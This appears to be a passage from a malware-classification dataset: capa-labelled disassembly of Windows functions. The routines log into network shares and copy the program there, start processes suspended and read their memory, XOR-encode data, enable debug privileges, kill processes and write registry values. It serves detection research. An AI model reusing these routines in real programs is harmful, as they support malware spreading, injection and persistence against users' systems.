joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406568
Capabilities:
Connect network resource
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00404208
xor eax, eax
push ebp
push 0x406785
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
push dword [eax + 0x14]
push 0x4067a0
push dword [ebp - 8]
lea eax, [ebp - 8]
mov edx, 3
call fcn.004040d8
mov dword [ebp - 0x40], 1
xor eax, eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 8]
call fcn.00404218
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x14]
call fcn.00404018
push eax
mov eax, dword [ebp - 0x14]
call fcn.00404218
push eax
push 0
call sub.kernel32.dll_GetModuleHandleA_1
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
call fcn.004060a8
test eax, eax
je 0x406611
mov ax, 3
mov word [ebp - 0xe], 0x31
jmp 0x406619
xor eax, eax
mov word [ebp - 0xe], 0
movzx eax, ax
test eax, eax
jl 0x406755
inc eax
mov dword [ebp - 0x1c], eax
mov eax, 0x41219c
mov dword [ebp - 0x24], eax
movzx eax, word [ebp - 0xe]
test eax, eax
jl 0x406748
inc eax
mov dword [ebp - 0x20], eax
mov edi, 0x4120d4
push 0
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
call fcn.00404218
push eax
mov eax, dword [edi]
call fcn.00404218
push eax
lea eax, [ebp - 0x44]
push eax
call sub.mpr.dll_WNetAddConnection2A
mov ebx, eax
push 0x32
call sub.kernel32.dll_Sleep
test ebx, ebx
jne 0x40673c
mov esi, 4
mov ebx, 0x4120d0
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x30]
call fcn.00403f88
lea eax, [ebp - 0x48]
mov edx, dword [ebx]
call fcn.00404020
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 4]
call fcn.0040607c
test eax, eax
je 0x40671b
lea eax, [ebp - 0x18]
mov edx, 0x4067ac
call fcn.00403e28
push 0
push dword [ebp - 8]
push dword [ebx]
push dword [ebp - 0x18]
lea eax, [ebp - 0x4c]
mov edx, 3
call fcn.004040d8
mov eax, dword [ebp - 0x4c]
call fcn.00404218
push eax
lea edx, [ebp - 0x50]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x50]
call fcn.00404218
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x40671b
call fcn.004060a8
test eax, eax
je 0x406714
push dword [ebp - 8]
push dword [ebx]
push dword [ebp - 0x18]
lea eax, [ebp - 0x54]
mov edx, 3
call fcn.004040d8
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 4]
call fcn.004060d4
mov dword [ebp - 0xc], 0xffffffff
add ebx, 4
dec esi
jne 0x40667e
mov ebx, 0x15
push 0xffffffffffffffff
mov eax, dword [ebp - 0x30]
push eax
call sub.mpr.dll_WNetCancelConnectionA
test eax, eax
je 0x40673c
dec ebx
jne 0x40672a
add edi, 4
dec dword [ebp - 0x20]
jne 0x406645
add dword [ebp - 0x24], 4
dec dword [ebp - 0x1c]
jne 0x406630
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40678c
lea eax, [ebp - 0x54]
mov edx, 4
call fcn.00403db4
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00403db4
lea eax, [ebp - 8]
call fcn.00403d90
ret
Function at 0x4081c8
Capabilities:
Query service status
Start service
Stop service

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffdc
mov byte [esp], dl
mov esi, eax
xor ebx, ebx
push 0xf003f
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov edi, eax
test edi, edi
jbe 0x40825e
push 0xf01ff
push esi
push edi
call sub.advapi32.dll_OpenServiceA
mov esi, eax
test esi, esi
jbe 0x408258
cmp byte [esp], 0
je 0x40821d
xor eax, eax
mov dword [esp + 4], eax
lea eax, [esp + 4]
push eax
push 0
push esi
call sub.advapi32.dll_StartServiceA
cmp eax, 1
sbb ebx, ebx
inc ebx
jmp 0x408252
mov ebp, 0xb
lea eax, [esp + 8]
push eax
push 1
push esi
call sub.advapi32.dll_ControlService
lea eax, [esp + 8]
push eax
push esi
call sub.advapi32.dll_QueryServiceStatus
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x40824f
cmp dword [esp + 0xc], 1
jne 0x40824f
mov bl, 1
jmp 0x408252
dec ebp
jne 0x408222
push esi
call sub.advapi32.dll_CloseServiceHandle
push edi
call sub.advapi32.dll_CloseServiceHandle
mov eax, ebx
add esp, 0x24
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4084cc
Capabilities:
Check os version
Read file via mapping

Disassembly:
push ebx
add esp, 0xffffffe0
mov dword [0x414628], 0x94
push 0x414628
call sub.kernel32.dll_GetVersionExA
cmp dword [0x41462c], 5
je 0x4084f4
xor eax, eax
jmp 0x4085d6
mov eax, dword [0x414630]
sub eax, 1
jb 0x408502
je 0x408509
jmp 0x408510
mov ebx, 0x30000
jmp 0x408517
mov ebx, 0x39000
jmp 0x408517
xor eax, eax
jmp 0x4085d6
push 0x4085dc
lea eax, [esp + 4]
push eax
call dword [0x4121cc]
mov dword [esp + 8], 0x18
xor eax, eax
mov dword [esp + 0xc], eax
mov eax, esp
mov dword [esp + 0x10], eax
xor eax, eax
mov dword [esp + 0x14], eax
xor eax, eax
mov dword [esp + 0x18], eax
xor eax, eax
mov dword [esp + 0x1c], eax
lea eax, [esp + 8]
push eax
push 6
push 0x4121dc
call dword [0x4121d0]
cmp eax, 0xc0000022
jne 0x4085a2
lea eax, [esp + 8]
push eax
push 0x60000
push 0x4121dc
call dword [0x4121d0]
mov eax, dword [0x4121dc]
call fcn.004083c0
mov eax, dword [0x4121dc]
push eax
call sub.kernel32.dll_CloseHandle_1
lea eax, [esp + 8]
push eax
push 6
push 0x4121dc
call dword [0x4121d0]
test eax, eax
jge 0x4085aa
xor eax, eax
jmp 0x4085d6
push 0x1000
push ebx
push 0
push 6
mov eax, dword [0x4121dc]
push eax
call sub.kernel32.dll_MapViewOfFile
mov dword [0x4121d8], eax
cmp dword [0x4121d8], 0
jne 0x4085d1
xor eax, eax
jmp 0x4085d6
mov eax, dword [0x4121dc]
add esp, 0x20
pop ebx
ret
Function at 0x40860c
Capabilities:
Read file via mapping

Disassembly:
push ebx
push esi
mov esi, edx
mov edx, esi
shr edx, 0x16
shl edx, 2
add edx, eax
mov ebx, dword [edx]
test bl, 1
jne 0x408626
xor eax, eax
pop esi
pop ebx
ret
mov eax, ebx
and eax, 0x80
test eax, eax
je 0x408643
and ebx, 0xffc00000
and esi, 0x3fffff
add ebx, esi
mov esi, ebx
jmp 0x40868f
push 0x1000
and ebx, 0xfffff000
push ebx
push 0
push 4
mov eax, dword [0x4121dc]
push eax
call sub.kernel32.dll_MapViewOfFile
mov ebx, eax
mov eax, esi
and eax, 0x3ff000
shr eax, 0xc
shl eax, 2
add eax, ebx
mov eax, dword [eax]
test al, 1
jne 0x40867a
xor eax, eax
pop esi
pop ebx
ret
and eax, 0xfffff000
and esi, 0xfff
add eax, esi
mov esi, eax
push ebx
call sub.kernel32.dll_UnmapViewOfFile
mov eax, esi
pop esi
pop ebx
ret

Function at 0x408694
Capabilities:
Read file via mapping

Disassembly:
push ebx
mov ebx, eax
mov edx, ebx
mov eax, dword [0x4121d8]
call fcn.0040860c
mov ebx, eax
push 0x1000
mov eax, ebx
and eax, 0xfffff000
push eax
push 0
push 6
mov eax, dword [0x4121dc]
push eax
call sub.kernel32.dll_MapViewOfFile
test eax, eax
jne 0x4086c9
xor eax, eax
pop ebx
ret
and ebx, 0xfff
shr ebx, 2
mov edx, ebx
shl edx, 2
add edx, eax
mov ebx, dword [edx]
push eax
call sub.kernel32.dll_UnmapViewOfFile
mov eax, ebx
pop ebx
ret
Function at 0x4099d8
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff88
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov esi, dword [ebp + 0x18]
mov eax, dword [ebp - 4]
call fcn.00404208
xor eax, eax
push ebp
push 0x409ae8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
xor ecx, ecx
mov edx, 0x44
call fcn.00402cec
lea eax, [ebp - 0x5c]
xor ecx, ecx
mov edx, 0x10
call fcn.00402cec
mov dword [ebp - 0x4c], 0x44
mov dword [ebp - 0x20], 1
mov word [ebp - 0x1c], bx
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404218
push eax
push 0
call sub.kernel32.dll_CreateProcessA
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x409ad2
mov eax, dword [ebp - 0x5c]
mov dword [esi], eax
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp - 0x58]
mov dword [eax], edx
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp - 0x54]
mov dword [eax], edx
mov dword [edi], 0x10007
push edi
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetThreadContext
lea eax, [ebp - 8]
push eax
push 4
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [edi + 0xa4]
add eax, 8
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_ReadProcessMemory
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
jmp 0x409ab5
cmp dword [ebp - 0x68], 0x10000
je 0x409ac8
add edi, dword [ebp - 0x6c]
push 0x1c
lea eax, [ebp - 0x78]
push eax
push edi
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualQueryEx
test eax, eax
jne 0x409aa9
mov eax, dword [ebp + 0xc]
sub edi, dword [eax]
mov eax, dword [ebp + 8]
mov dword [eax], edi
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409aef
lea eax, [ebp - 4]
call fcn.00403d90
ret
Function at 0x40a16c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404208
xor eax, eax
push ebp
push 0x40a1f6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403d90
mov eax, dword [ebp - 4]
call fcn.00404218
call fcn.004059e0
mov ebx, eax
test ebx, ebx
jle 0x40a1d8
mov edi, 1
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
movzx edx, byte [edx + edi - 1]
xor edx, dword [ebp - 8]
call fcn.00403f78
mov edx, dword [ebp - 0xc]
mov eax, esi
call fcn.00404020
inc edi
dec ebx
jne 0x40a1b7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a1fd
lea eax, [ebp - 0xc]
call fcn.00403d90
lea eax, [ebp - 4]
call fcn.00403d90
ret

Function at 0x40a458
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00404218
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x40a471
test al, 0x10
jne 0x40a475
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x40a640
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404208
xor eax, eax
push ebp
push 0x40a723
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
call fcn.00404218
mov ebx, eax
mov edx, ebx
lea eax, [ebp - 0x10]
call fcn.00403f88
mov eax, dword [ebp - 0x10]
call fcn.00405ba8
test al, al
je 0x40a705
push ebx
call sub.kernel32.dll_GetFileAttributesA
mov esi, eax
mov eax, esi
and eax, 0x80000001
jns 0x40a6a0
dec eax
or eax, 0xfffffffe
inc eax
dec eax
jne 0x40a6ab
push 0
push ebx
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x40a6fe
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 0xc], 0xffffffff
sete byte [ebp - 5]
test esi, esi
je 0x40a6e7
push esi
push ebx
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a705
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a72a
lea eax, [ebp - 0x10]
call fcn.00403d90
lea eax, [ebp - 4]
call fcn.00403d90
ret
Function at 0x40a8bc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov ebx, ecx
mov dword [ebp - 0xc], 1
push edx
push eax
call fcn.0040a824
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x40a915
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
lea eax, [ebp - 0xc]
push eax
push 0
push ebx
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
sete byte [ebp - 1]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a91c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret

Function at 0x40a964
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov eax, dword [ebp + 0xc]
call fcn.00404208
mov eax, dword [ebp + 0x10]
call fcn.00404208
mov eax, dword [ebp + 0x14]
call fcn.00404208
xor eax, eax
push ebp
push 0x40aa1b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 0xc]
call fcn.00404218
push eax
mov eax, dword [ebp + 8]
push eax
call sub.advapi32.dll_RegCreateKeyA
xor eax, eax
push ebp
push 0x40a9f9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 0x14]
call fcn.00404018
push eax
mov eax, dword [ebp + 0x14]
call fcn.00404218
push eax
push 1
push 0
mov eax, dword [ebp + 0x10]
call fcn.00404218
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
sete byte [ebp - 1]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40aa00
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret

Function at 0x40ab94
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 4], 1
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0xc]
push eax
call fcn.0040a824
mov ebx, eax
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 4]
push eax
push 0
mov eax, dword [ebp + 0x14]
push eax
push ebx
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x40abf8
mov eax, esi
lea edx, [ebp - 0x108]
mov ecx, pe_nt_image_headers32
call fcn.00404000
push ebx
call sub.advapi32.dll_RegCloseKey_1
jmp 0x40ac05
mov eax, esi
call fcn.00403d90
push ebx
call sub.advapi32.dll_RegCloseKey_1
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40afac
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov eax, dword [ebp + 0xc]
call fcn.00404208
mov eax, dword [ebp + 0x10]
call fcn.00404208
xor eax, eax
push ebp
push 0x40b04f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 0xc]
call fcn.00404218
push eax
mov eax, dword [ebp + 8]
push eax
call sub.advapi32.dll_RegCreateKeyA
xor eax, eax
push ebp
push 0x40b02d
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
lea eax, [ebp + 0x14]
push eax
push 4
push 0
mov eax, dword [ebp + 0x10]
call fcn.00404218
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
sete byte [ebp - 1]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b034
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret

Function at 0x40b060
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor edx, edx
mov dword [ebp - 0x10c], edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40b12e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x104
lea eax, [ebp - 0x108]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x108]
mov ecx, 0x104
call fcn.00404000
mov edx, dword [ebp - 0x10c]
lea eax, [ebp - 4]
mov ecx, 0x40b144
call fcn.00404064
mov edx, dword [ebp - 4]
mov eax, 0x40b150
call fcn.00404300
inc eax
push eax
mov eax, dword [ebp - 4]
call fcn.00404018
mov ecx, eax
lea eax, [ebp - 4]
pop edx
call fcn.004042b8
lea eax, [ebp - 4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x40b150
call fcn.00404300
mov ecx, eax
xor edx, edx
mov eax, dword [ebp - 4]
call fcn.00404278
mov eax, ebx
mov ecx, 0x40b15c
mov edx, dword [ebp - 4]
call fcn.00404064
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b135
lea eax, [ebp - 0x10c]
call fcn.00403d90
lea eax, [ebp - 4]
call fcn.00403d90
ret

Function at 0x40b18c
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x40b210
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
lea eax, [ebp - 8]
mov edx, 0x40b22c
call fcn.00403e28
call sub.kernel32.dll_GetLogicalDrives
mov edi, eax
mov esi, 1
mov ebx, 0x20
test edi, esi
je 0x40b1eb
mov eax, dword [ebp - 8]
call fcn.00404218
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 2
jne 0x40b1eb
mov eax, dword [ebp - 8]
mov al, byte [eax]
mov byte [ebp - 1], al
jmp 0x40b1fa
add esi, esi
lea eax, [ebp - 8]
call fcn.00404270
inc byte [eax]
dec ebx
jne 0x40b1ca
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b217
lea eax, [ebp - 8]
call fcn.00403d90
ret
Function at 0x40b230
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x104], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40b2f4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
sub eax, 1
jb 0x40b263
je 0x40b276
dec eax
je 0x40b289
jmp 0x40b29a
push pe_nt_image_headers32
lea eax, [ebp - 0x100]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
jmp 0x40b29a
push pe_nt_image_headers32
lea eax, [ebp - 0x100]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
jmp 0x40b29a
lea eax, [ebp - 0x100]
push eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetTempPathA
cmp ebx, 2
jne 0x40b2b3
mov eax, esi
lea edx, [ebp - 0x100]
mov ecx, pe_nt_image_headers32
call fcn.00404000
jmp 0x40b2db
lea eax, [ebp - 0x104]
lea edx, [ebp - 0x100]
mov ecx, pe_nt_image_headers32
call fcn.00404000
mov edx, dword [ebp - 0x104]
mov eax, esi
mov ecx, 0x40b30c
call fcn.00404064
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b2fb
lea eax, [ebp - 0x104]
call fcn.00403d90
ret

Function at 0x40b310
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404208
mov eax, dword [ebp - 8]
call fcn.00404208
xor eax, eax
push ebp
push 0x40b454
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0x2c]
push eax
mov ecx, 7
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00404278
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x28]
call fcn.004058a0
mov eax, dword [ebp - 0x28]
call fcn.00404218
push eax
push 0x40b464
call sub.kernel32.dll_lstrcmpiA
test eax, eax
jne 0x40b42c
push 0
push 0
push 0
push 0
push 0x40b46c
call sub.wininet.dll_InternetOpenA
mov esi, eax
test esi, esi
je 0x40b42c
push 0
push 0x80000000
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404218
push eax
push esi
call sub.wininet.dll_InternetOpenUrlA
mov edi, eax
xor eax, eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0xa
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x13
push edi
call sub.wininet.dll_HttpQueryInfoA
lea ebx, [ebp - 0x24]
lea eax, [ebp - 0x30]
mov edx, ebx
call fcn.00403f88
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 8]
call fcn.00404164
je 0x40b418
lea eax, [ebp - 0x34]
mov edx, ebx
call fcn.00403f88
mov eax, dword [ebp - 0x34]
mov edx, 0x40b484
call fcn.00404164
je 0x40b418
xor eax, eax
jmp 0x40b41a
mov al, 1
mov ebx, eax
test edi, edi
je 0x40b426
push edi
call sub.wininet.dll_InternetCloseHandle
push esi
call sub.wininet.dll_InternetCloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b45b
lea eax, [ebp - 0x34]
mov edx, 4
call fcn.00403db4
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403db4
ret
Function at 0x40b488
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa4
push ebx
push esi
mov ebx, ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404208
xor eax, eax
push ebp
push 0x40b562
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
xor ecx, ecx
mov edx, 0x44
call fcn.00402cec
mov dword [ebp - 0x4c], 0x44
mov dword [ebp - 0x20], 0x41
mov word [ebp - 0x1c], si
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0
push 0
push 0x30
push 0
push 0
push 0
lea eax, [ebp - 4]
call fcn.00404270
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x40b4ff
mov dword [ebp - 8], 0xffffffff
jmp 0x40b532
test bl, bl
jne 0x40b51a
cmp dword [ebp + 8], 0
je 0x40b511
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x54]
mov dword [eax], edx
mov dword [ebp - 8], 0xffffffff
jmp 0x40b54c
push 0xffffffffffffffff
mov eax, dword [ebp - 0x5c]
push eax
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0x5c]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x5c]
test eax, eax
je 0x40b53f
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x58]
test eax, eax
je 0x40b54c
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b569
lea eax, [ebp - 4]
call fcn.00403d90
ret

Function at 0x40b574
Capabilities:
Acquire debug privileges

Disassembly:
push ebx
add esp, 0xffffffe4
mov byte [esp], al
xor ebx, ebx
lea eax, [esp + 4]
push eax
push 0x20
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x40b5f6
mov dword [esp + 0xc], 1
lea eax, [esp + 0x10]
push eax
push 0x40b600
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
cmp byte [esp], 0
je 0x40b5bc
mov dword [esp + 0x18], 2
jmp 0x40b5c2
xor eax, eax
mov dword [esp + 0x18], eax
xor eax, eax
mov dword [esp + 8], eax
lea eax, [esp + 8]
push eax
push 0
push 0x10
lea eax, [esp + 0x18]
push eax
push 0
mov eax, dword [esp + 0x18]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError_1
test eax, eax
sete bl
mov eax, dword [esp + 4]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, ebx
add esp, 0x1c
pop ebx
ret

Function at 0x40b614
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, eax
xor edx, edx
push ebp
push 0x40b64f
push dword fs:[edx]
mov dword fs:[edx], esp
mov al, 1
call fcn.0040b574
push ebx
push 0
push 1
call sub.kernel32.dll_OpenProcess
push 0
push eax
call sub.kernel32.dll_TerminateProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b656
ret
Function at 0x40b65c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404208
lea edi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x40b7d1
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
mov al, 1
call fcn.0040b574
xor edx, edx
mov eax, 2
call fcn.00405768
mov ebx, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, ebx
call fcn.00405788
jmp 0x40b79d
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404000
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.00405958
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.004059a4
mov eax, dword [ebp - 0x130]
push eax
lea edx, [ebp - 0x13c]
mov eax, dword [ebp - 4]
call fcn.004059a4
mov edx, dword [ebp - 0x13c]
pop eax
call fcn.00404164
je 0x40b77d
lea eax, [ebp - 0x144]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404000
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call fcn.004059a4
mov eax, dword [ebp - 0x140]
push eax
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 4]
call fcn.004059a4
mov edx, dword [ebp - 0x148]
pop eax
call fcn.00404164
jne 0x40b794
push 0
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov esi, eax
mov edx, edi
mov eax, ebx
call fcn.004057a8
test eax, eax
jne 0x40b6de
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b7d8
lea eax, [ebp - 0x148]
mov edx, 7
call fcn.00403db4
lea eax, [ebp - 4]
call fcn.00403d90
ret